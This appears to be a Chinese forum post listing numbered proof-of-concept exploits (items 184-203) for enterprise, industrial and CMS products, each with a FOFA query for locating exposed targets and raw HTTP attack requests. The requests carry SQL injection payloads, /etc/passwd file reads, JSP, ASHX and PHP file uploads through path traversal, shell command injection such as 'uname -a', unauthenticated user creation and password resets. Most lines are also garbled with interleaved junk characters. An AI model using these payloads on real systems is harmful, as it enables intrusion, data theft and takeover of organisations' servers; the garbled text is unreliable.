" ?3 R/ \% y5 Q, W3 cUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.364 t; g. o# H1 v
Accept-Charset: utf-8: F+ B* Y* m2 V! W- o
Accept-Encoding: gzip, deflate3 o4 B! J& |. P- w5 o7 h' a  L
Connection: close
$ w7 Y8 }* V6 l2 G, M. h$ h5 Y1 }: L2 E% Z

( A" T2 e' e) q$ i+ G% x! |184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
( [; e. Q5 z6 q- p3 I) ~FOFA:server="SunFull-Webs"
& ]! {$ `" I4 Y. y& }POST /soap/AddUser HTTP/1.10 V+ I3 r  X( T  c  |
Host: your-ip
8 l1 {! U3 V7 V" QAccept-Encoding: gzip, deflate
/ s! w0 P# g" f5 }- LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0! b1 M2 b5 }* I* L# o+ ^7 [6 D
Accept: application/xml, text/xml, */*; q=0.01* `9 W6 D4 a  V
Content-Type: text/xml; charset=utf-8/ i* b) A. q1 k
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  P! N0 b2 C, r% }- \& ]
X-Requested-With: XMLHttpRequest: b! g' B  i0 a( v9 N& H  `, j

+ ^! C/ \+ Z& p% \7 @. t! @
+ e( q9 U* F! ]/ t) N. J! @1 {( Ainsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
6 w' A/ P- {# Z8 G! z
3 w  B; f! g6 s, t8 K& D  P+ y8 |( x$ i
185. 瑞友天翼应用虚拟化系统SQL注入
- P% U+ A0 G% t1 h$ C/ q7 kversion < 7.0.5.1$ C, `+ g# R7 A( l/ s, c6 j
FOFA:app="REALOR-天翼应用虚拟化系统"& ~" n( v( o" l& G. Q7 q. ~# |1 v
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.13 ~  K# L& u/ t: H' X0 t0 ]5 H; W
Host: host& ]! K$ f2 c" b5 F  ~) z
7 W" T& ]& S+ R
& d& T& s0 W0 n" q4 r: S
186. F-logic DataCube3 SQL注入
5 z, v# z$ R. X& {# KCVE-2024-31750
, j9 Y6 O. u2 P, \* H% NF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统% O" D  j9 a9 A
FOFA:title=="DataCube3"/ C& {/ F! ~) I7 ~
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
  y" z$ C# m1 z# r9 M7 w" QHost: your-ip* L5 ]1 W# E& O  `" Y8 E2 V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
. L! J1 D) ^9 |9 fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8- J8 q0 f, r+ H2 `+ k1 H6 |
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& r$ X" i' h2 h; H. m9 w  G9 G$ zAccept-Encoding: gzip, deflate0 ]- m" X; ]# Q- _( d. D
Connection: close7 c; U& h1 S6 [- h8 S, k; n
Content-Type: application/x-www-form-urlencoded3 F9 X/ i; n8 k* R

+ Q* ?7 H9 O9 X" o$ K! N& ?, ~req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
3 Q, m0 S8 n8 g* u8 J" Y; b$ P
& \' @! Z" E7 o+ ?5 l9 a0 s
5 g. K. H+ v+ P* O$ B5 B187. Mura CMS processAsyncObject SQL注入% `3 n; Y% n4 d! Y# ]3 e$ G' B
CVE-2024-32640  J3 x9 O; W  @: p! ]9 ]
FOFA:"Mura CMS"
1 ]; U& S' x' a  k6 h% gPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.18 u" e; b" D9 C2 Z; P  t: y
Host: your-ip
- Q& @* Q& [$ {; \Content-Type: application/x-www-form-urlencoded9 V; ]  U( P+ b2 ]( d# F2 P9 ^

/ J3 T3 m+ o3 N8 d- L+ k! _$ G/ C6 V
+ ]( J& v1 V6 `" ]( O) ]object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
5 h( Q8 R. r2 _  F5 S/ Y( H( I, R) ~2 n9 O
; n4 m+ t) F1 F2 x* e
188. 叁体-佳会视频会议 attachment 任意文件读取
6 T) M% |. I5 s+ m$ W: Bversion <= 3.9.7
. i' g! R% q8 X, W7 {  EFOFA:body="/system/get_rtc_user_defined_info?site_id"1 {* j" ]$ z3 z# }8 f! Y7 _
GET /attachment?file=/etc/passwd HTTP/1.15 a# O! W& Y$ s2 v! ]
Host: your-ip
) U4 x9 u- ~6 y2 k0 [, L  TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
1 b( g+ M3 Z; iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 ^$ ~" d* L. R0 I, Z4 d2 }Accept-Encoding: gzip, deflate
% f( ^" l# ?6 J* A2 g7 ^9 |2 BAccept-Language: zh-CN,zh;q=0.9,en;q=0.8/ ~2 W0 r1 U! N% i2 A0 a+ h4 K: e
Connection: close
8 {# T4 Q0 i1 ]" B% a- [1 M9 P( w3 P$ `+ v2 y/ y9 i
) N; o- C9 q8 D
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
/ K6 E5 K% ]" F/ S5 W" M- j8 vFOFA:app="LANWON-临床浏览系统"$ ]% E: q: _' f( g& K8 b3 ?" a3 M9 M
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
8 r) A8 v6 O6 [8 X% [- f3 n7 WHost: your-ip& d$ r6 c3 m, P4 b! q. e/ @$ M9 l
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.366 H3 x# R5 W6 G. j# L0 {
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- _) c: R# H, d9 B5 zAccept-Encoding: gzip, deflate. S" r9 E! G- @
Accept-Language: zh-CN,zh;q=0.9& |7 S! P) N0 K! v9 |! o
Connection: close
8 o, G! B' m5 q9 t% O" s/ H/ w, T: s. y9 d: ~" y5 G$ |
) M9 C+ `* t' V, O1 |( y1 ]; T. ^+ G
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
+ \) y5 k" H% j- v! @FOFA:title=="短视频矩阵营销系统"2 B, `1 t# w5 o& U% Z" c0 n( D
POST /index.php/admin/Userinfo/poihuoqu HTTP/2  F& O$ v" u) v4 _9 f% [+ {  l
Host: your-ip
* M3 r# C6 b" x- k( y, l( c2 pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
8 p# K' G- j9 xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
* m' j/ J8 K3 UContent-Type: application/x-www-form-urlencoded6 X0 o0 E7 [% x  {+ r
Accept-Encoding: gzip, deflate
8 o4 p% W) V: VAccept-Language: zh-CN,zh;q=0.9
3 P' {8 y% P" v/ \) G+ ?2 d/ \$ N- N6 ~, l% Q
poi=file:///etc/passwd
5 S+ u0 Y3 I; T  d- \- z
6 v0 s. L. a' W4 V8 G
7 T0 S3 }/ d3 o191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
9 F( ~7 p- a7 W$ N7 [FOFA:body="/CDGServer3/index.jsp"" y: W3 z- u( f4 T$ ^, ^! T
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
% b: g) ~: b8 x0 l: w/ KHost: your-ip
, r3 U2 ^4 J1 o! |. L: SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.364 }1 m$ x2 U# f- b+ U- F1 t" M
Content-Type: application/x-www-form-urlencoded
  i$ Z% T: w2 v+ E; T  J
, C: N- M( R  }  Y) @- Ucommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
1 O$ y+ N$ D0 _2 e
) ]1 g& T. e7 {& M- }$ [* T  V5 b2 q5 z: [! l* }9 Z
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
( H" A6 _/ C0 v  m7 QFOFA:title="用户登录_富通天下外贸ERP"
: o9 {" L5 V# A, }POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
4 a, J6 ~+ c( `Host: your-ip' M+ ?# \: O; E5 s
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
1 B- F0 t1 V8 p$ g1 a/ UContent-Type: application/x-www-form-urlencoded
2 n6 b5 Q4 w& i; n" B& a- c. m" ]2 v- Y- M$ o- n8 ]4 K

/ O+ Q( h3 Y, K( W<% @ webhandler language="C#" class="AverageHandler" %>! H& O; X8 h) K" n+ V
using System;
: z5 m4 u$ K' C, W# gusing System.Web;& I* f( H" _$ W( H7 [
public class AverageHandler : IHttpHandler% \* z( b9 d/ H. H$ q. ]( t
{% ]2 q; N/ R0 g5 ]- U
public bool IsReusable6 l- w3 |$ v3 D4 B% g
{ get { return true; } }
) a+ r( f/ g9 t2 q$ Epublic void ProcessRequest(HttpContext ctx)
; l) Z5 M2 ]# F) a) |" b( j' u8 v{
3 g0 H/ Y- j3 t0 j0 Octx.Response.Write("test");! o( G1 X  i* a+ q& a+ V
}" ^! C! e, a. ?
}
% i& {6 k& I  H$ t) _
4 T  t% ~- r$ h6 E1 a% Z' `" t  ~: r7 H
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行3 e1 B8 X! E8 H
FOFA:body="山石云鉴主机安全管理系统"
! R5 S' M* p! cGET /master/ajaxActions/getTokenAction.php HTTP/1.1/ M* q8 o3 H: [, m9 K- T2 N
Host:4 }; ]# P% Q6 k% N
Cookie: PHPSESSID=2333333333333;6 A5 i' Y3 ]4 j9 N- R
Content-Type: application/x-www-form-urlencoded" _4 \' Z) g9 t0 `# P/ u+ j
User-Agent: Mozilla/5.0
$ @' i% M4 {- X* F
! J  |8 B; f0 }) _
8 x* ^1 U& ~* |: B- f  xPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
7 o  H7 X) L$ c5 V4 c, [/ z8 y, hHost:
, d" J" j% f. F1 V" S$ y/ x3 FUser-Agent: Mozilla/5.03 D$ x% ^8 m$ i+ G
Accept-Encoding: gzip, deflate
8 j4 j2 h) J/ i6 _0 I, nAccept: */*
- {% D$ @! p+ r: P5 w8 GConnection: close5 l  N, ~; q! k( o* `
Cookie: PHPSESSID=2333333333333;
9 R6 v$ S( r& eContent-Type: application/x-www-form-urlencoded
( Y) I! r( m2 i& V% JContent-Length: 84
0 h/ P# X" v8 a  Y& n8 H
: z( P5 ~* n; n% Wparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
- f$ l) ~' y3 y3 Q' m5 g- }1 S# i7 X8 Z& D- D! g
6 f' K' [4 W' L3 ~2 R6 _3 S) G
GET /master/img/config HTTP/1.1, l3 I9 o5 q" ~: D
Host:
7 ^) C# v9 b+ F4 d* [2 C( aUser-Agent: Mozilla/5.0
& l8 Z; H9 m  v% R/ A) X: j7 d+ M

) C. f; A' r% J: g4 b9 n194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
5 v% n6 J" o' \- n& f3 jFOFA:app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
' P5 x6 r9 B$ r! c( t% ~
1 _) c4 s% s' f0 J& L0 hPOST /servlet/uploadAttachmentServlet HTTP/1.1. J2 W8 D% {1 l$ b& Z! q; x
Host: host
" Q0 \3 a" k# ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36/ g9 m' [1 i+ s0 `6 F, [
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8& W4 a% O5 e# @& y9 X5 j
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ h6 @3 G6 e' D9 mAccept-Encoding: gzip, deflate0 f8 b4 Q! [7 S/ @' `3 u
Connection: close
' B: v- ^  K0 [) _Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
% H5 U( Y# h. {; B------WebKitFormBoundaryKNt0t4vBe8cX9rZk, |$ X8 C/ Y" }; Q+ r- _

- h4 U' n% q: E7 B6 J( E1 o; v" EContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"7 p, t* V7 y* @  p  l! p; g7 e7 K
Content-Type: text/plain  p& i1 \0 Q2 K4 Q# d0 G2 p
<% out.println("hello");%>
' Z1 _% X- p2 A/ X------WebKitFormBoundaryKNt0t4vBe8cX9rZk# ]6 R* `* K1 l4 ~3 S
Content-Disposition: form-data; name="json"6 E$ ^8 d/ v+ C
{"iq":{"query":{"UpdateType":"mail"}}}, u2 V3 T8 s% j/ c- K5 i0 N/ r
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--# X% v. q- v: `' \, ]% z

" T* M& w. f8 d0 y
) Z' A; G* T0 q% z- a" H" f195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
" }; ]1 K2 R; \8 ~# L) VFOFA:title=="飞鱼星企业级智能上网行为管理系统
( Z2 P. y& x) S7 DPOST /send_order.cgi?parameter=operation HTTP/1.1
- `+ M. H. l% Q3 z" KHost: 127.0.0.10 f5 Z' z3 G4 K: X
Pragma: no-cache8 E4 ]$ R7 q+ ^! [4 M
Cache-Control: no-cache8 k# M5 [2 W7 @7 r  u, R
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
/ s" m# [- ^5 Q! Z+ Q' {Accept: */*
  Q7 |* v. S; {7 r8 ]* cAccept-Encoding: gzip, deflate9 u4 D# z. F+ F  J5 e! d
Accept-Language: zh-CN,zh;q=0.9. }: l5 n1 m$ L" o& g
Connection: close
- U4 ]5 o+ J- v+ vContent-Type: application/x-www-form-urlencoded
% d- Y) W. m# q  s+ u9 C$ zContent-Length: 68
! F# B' {. A& D  y% z. [# U8 ^. G, ~' B8 J8 q
{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
1 A2 G# W7 |5 [) J# z" {* v  V1 c% |2 H* a3 n3 t3 o* @! ?$ h
; H' E/ w5 f. ?9 J/ k6 E1 j: L
196. 河南省风速科技统一认证平台密码重置
6 Y/ H0 t) l8 n) bFOFA:body="/cas/themes/zbvc/js/jquery.min.js"
' w, h1 a- M. x# ?POST /cas/userCtl/resetPasswordBySuper HTTP/1.1: ~. R! T3 P* s4 \6 |* u
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.369 }0 c6 k% U  b0 g+ F6 U
Content-Type: application/json;charset=UTF-8
" A$ x6 a& m, @; t5 g) r$ h1 }3 ~X-Requested-With: XMLHttpRequest% R& O- ]% _2 h, J5 a& q2 H% i( _
Host:, j) ^  X) m6 w8 S  K3 }
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
* I' D/ n0 s& O  a) v* R" bContent-Length: 45
2 h, j& M1 h$ A8 uConnection: close8 v5 `% D$ ?9 f6 X! i% j
, Y! q8 p) ~, L+ @( J4 P3 @1 d6 F
{"xgh":"test","newPass":"test666","email":""}
& s2 p4 Y! Z8 S9 W6 Q
0 @  h& |1 m' ]
- K: Q9 y! R1 e: }, w. [0 y4 s& a5 y7 W' [7 Y9 b' m6 a' x7 g! d
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入0 k! x8 f1 N0 A- E
FOFA:app="浙大恩特客户资源管理系统"/ G" V' V8 J0 S  I
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
4 h, g* [# a! N% ]! |8 A' `- GHost:
! a6 S0 Z9 e" e: [  a8 J- lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
6 F$ m" a' A: \/ K+ mAccept-Encoding: gzip, deflate( _; u. `5 ^6 ?3 j
Connection: close
6 ~3 K% A, x' I% w0 s/ O- p6 M  n* W' F3 L

8 _- ~6 x9 y7 Y# f" S7 E0 k% `7 q' }! t8 s
198.  阿里云盘 WebDAV 命令注入8 D# J4 t% b) y: W* V& D
CVE-2024-29640
$ Y- g& v! T/ IGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1( ]2 R" P' F' v7 m$ K
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
& q1 ~" N  R  C5 V0 f: OAccept: */*. a1 N, e  k# f/ P0 ~
Accept-Encoding: gzip, deflate
$ x# L) v' U9 A. m9 Z; JAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
3 i8 E, M' [; L7 l4 G7 @6 `Connection: close
5 s- R& m9 J# e9 V5 N) C0 V+ J3 D2 R4 c
3 [& N: O! {' u  J+ D) s% h: ?
199. cockpit系统assetsmanager_upload接口 文件上传
4 \9 i4 f7 T8 y+ Z3 M4 h. M& c2 n" b: p1 e& t; ~2 g+ i- s
1.执行poc进行csrf信息获取,并获取cookie,再上传访问得到结果:
0 c; @7 t3 s9 x+ S, o0 `GET /auth/login?to=/ HTTP/1.1
* C6 y# W# U% l' L8 G( I% ]' G5 f+ y+ v
响应:200,返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw". a# E* x& x* Y; y+ {
, x" D) _! Z) \+ v+ z: _/ K; g
2.使用刚才上一步获取到的jwt获取cookie:
: J7 A& m+ u; k) j" O5 K
' X1 D6 Y" u+ p) F  u+ J* pPOST /auth/check HTTP/1.13 R$ v; r4 \: o2 I* w5 O- ?+ \
Content-Type: application/json
  U: i( V8 y$ Y5 ?: P* ?* A5 Q
3 n* o2 J+ M; x* F' N0 a0 z* p{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
+ c1 @4 h" w( l8 [4 ^
- ]# m7 |: c* Y; x' f响应:200,返回值:
: e' W* N% U) e0 bSet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
3 v& t' v! y; p$ oFofa:title="Authenticate Please!"2 K0 C) L8 j" A
POST /assetsmanager/upload HTTP/1.1
. q  S" w) l0 ^% CContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3$ i) s" G+ H1 _
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92
  k6 d" a- Z8 B$ g. q* r. l$ l) Z  [8 ]% r
-----------------------------36D28FBc36bd6feE7Fb3, N) l- E1 b0 g% B9 U9 {$ F
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
; x% E5 t$ u" C- c1 s7 CContent-Type: text/php3 F6 X  v4 T' A) a+ ^. w

8 f* ~0 I0 c( n; {3 ~<?php echo "tttt";unlink(__FILE__);?>9 T* y" Y4 r3 L. s/ M; v0 I
-----------------------------36D28FBc36bd6feE7Fb32 r  z# r0 @1 N9 l
Content-Disposition: form-data; name="folder". q. i$ P# I7 `& O
/ _) v, I$ O2 @( y2 V6 s
-----------------------------36D28FBc36bd6feE7Fb3--  U8 ?1 a: K+ C' A: O; C

1 K. }# o* v% Q
* \, C+ |1 q9 R5 `. h5 k2 r) O5 Q/storage/uploads/tttt.php4 j5 l0 h: m+ ~: \3 ~1 Q

* \3 J: @; Q% ^5 R( x- F200. SeaCMS海洋影视管理系统dmku SQL注入
3 O: x1 q  r/ w: XFOFA:app="海洋CMS"8 n# J2 Z/ b  y) H0 P
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.18 G8 B  @6 F# O5 e+ y7 o/ ?3 \
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
  j& H, S4 I8 K% S, IUpgrade-Insecure-Requests: 1
0 {* C2 w: W$ K* k, \; n9 KCache-Control: max-age=0
( y( x' y* v! JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
& w* w) I; M& e8 ~/ k# X" kAccept-Encoding: gzip, deflate: w" |; V4 o) {" H5 i
Accept-Language: zh-CN,zh;q=0.9% {$ e; n1 o" T. c; o; z

4 B4 L! t% j2 P# ~& p+ P0 Y7 j7 h7 K7 Z. B, n- {5 J
201. 方正全媒体新闻采编系统 binary SQL注入8 `0 s* Y  [7 f- |. g
FOFA:body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
- v, `3 u' M3 l5 ePOST /newsedit/newsplan/task/binary.do HTTP/1.1
1 c/ n6 ^+ o; E1 F8 n( B# B+ S# W/ @Content-Type: application/x-www-form-urlencoded6 {& m$ G3 r4 O: V) A% y$ ?6 T- t3 P& f
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
& q! @9 f! @, B" K8 GAccept-Encoding: gzip, deflate* \7 ]  `7 w- f4 _) J9 y0 q( K
Accept-Language: zh-CN,zh;q=0.9
9 b! J' C' [5 TConnection: close
  h- U: A* G, w/ a' c: Y2 n3 d& ]
TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1( P4 ~. A$ c% n' T$ R7 _# k  p; s2 ~

& \% B. U8 p2 x3 f( y2 R# V( l
" M+ e, ?+ W' [8 h6 ~202. 微擎系统 AccountEdit任意文件上传
: h& C2 p. l* s8 R& ?; v( d$ z9 ZFOFA:body="/Widgets/WidgetCollection/": d/ b0 E& T7 ^; b' U) A
获取__VIEWSTATE和__EVENTVALIDATION值" M  H$ Q$ O5 k
GET /User/AccountEdit.aspx HTTP/1.1' D# u; T# G6 V9 W% G# a9 ?8 L
Host: 滑板人之家" m. \$ I' y2 G9 \" P% C2 H8 U
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
" O' c4 t7 h+ @/ v9 ~Content-Length: 06 n/ x: h/ D4 g4 v

" L/ X/ b- M( {8 d$ [5 }! {% \8 \' h
替换__VIEWSTATE和__EVENTVALIDATION值
+ h7 U; Q: o- `POST /User/AccountEdit.aspx HTTP/1.1/ v) w# d* g: F9 h( P- x8 j
Accept-Encoding: gzip, deflate, br
6 {! F  `/ X( e* l7 R) fContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
6 q+ N) U, d" ]5 h% Q) R7 V1 b
, [; l2 ^' l- s! b1 |: s2 a( w. e2 T-----------------------------786435874t38587593865736587346567358735687
+ t$ v5 T7 a3 p5 E, OContent-Disposition: form-data; name="__VIEWSTATE"! M! D# q2 K7 P7 q# x, _

2 t7 U0 ?# Q; ~__VIEWSTATE
3 ?* L5 k' ~( {! Y& u4 _* S' x- E-----------------------------786435874t38587593865736587346567358735687
$ G/ V2 W- {1 f! ]' r6 K' o9 n" k: k3 \Content-Disposition: form-data; name="__EVENTVALIDATION"( g! Q+ F6 h  Q9 A

* K4 {0 p9 p) m' M7 w; m__EVENTVALIDATION
/ E3 T  k7 U  Z' [! @-----------------------------786435874t38587593865736587346567358735687
) R6 q" ~* J$ `) |! gContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"# ^7 L; Y3 b5 B
Content-Type: text/plain
( y, a1 ~2 ], K! P5 `9 E5 J
! \! Z. I$ Z) e( |5 @/ p/ WHello World!8 U( G! C- }7 d" O# k
-----------------------------786435874t38587593865736587346567358735687$ i% X* w: z0 f
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
  f1 e5 d4 A6 n9 c7 h. v
  R3 S# E* ]5 g# R上传图片  F8 a/ p6 h1 {
-----------------------------786435874t38587593865736587346567358735687
0 W7 S/ Q3 d. r3 MContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"8 t4 P. o7 n+ t8 v! ^' g; s, ]  z

! p2 C+ G; Z: G1 P; m1 @+ V6 r" ^4 I# L
-----------------------------786435874t38587593865736587346567358735687- B8 [, O* V0 @
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
6 m7 j* i( s: E* o' A$ E
) F! b; p. e6 \- }/ Y* v- `$ v1 ?+ \4 r  D$ F3 W+ O) A  \+ o- x
-----------------------------786435874t38587593865736587346567358735687--
7 Z! \* B# `  B
4 ?6 i9 a* w# }0 Q$ F6 }- ?0 [- d0 |9 j' p% m
/_data/Uploads/1123.txt
. Z7 w1 A8 S  e, u6 `- U) `  I/ G, A$ ^) _2 `& N' j' L5 i
203. 红海云EHR PtFjk 文件上传
2 d, F' q; f( Z1 T! ?* ?FOFA:body="RedseaPlatform"5 P6 ^$ h3 K( }% K. E" A# {& ^
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.12 p8 l" B2 T9 x- F# }
Host: x.x.x.x
1 _5 [0 L+ \5 T/ P% eAccept-Encoding: gzip" N8 Y- f. ?, X% q
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15- c0 j( e4 h. f7 U6 ]
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys43 b' L! X; ], O; s8 k& A
Content-Length: 210
$ z, K# R+ q9 ~) ]3 c( a$ K
. }$ T: n: r, x; `# _5 e9 ]/ O  y( F------WebKitFormBoundaryt7WbDl1tXogoZys42 l3 s+ A/ @6 l- y! t
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
6 H; F4 ]- |& n- jContent-Type:image/jpeg. u- F/ D  g1 b) ~! k

' U- D& L+ d4 L2 V<% out.print("hello,eHR");%>
4 g* Q7 y2 F, v------WebKitFormBoundaryt7WbDl1tXogoZys4--
& X" Y5 k1 N/ r+ z) J: y; ?5 c
) }( f( \9 A/ w8 Y
$ \* E# z: {6 h8 V8 T
( [- h+ f: q* ?9 v: H8 z
# ^% ^# j' \% c. O4 v" F
0 }+ f. F  B' P/ O0 r) x
' l$ R! O2 r* {" _- u* b# b
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表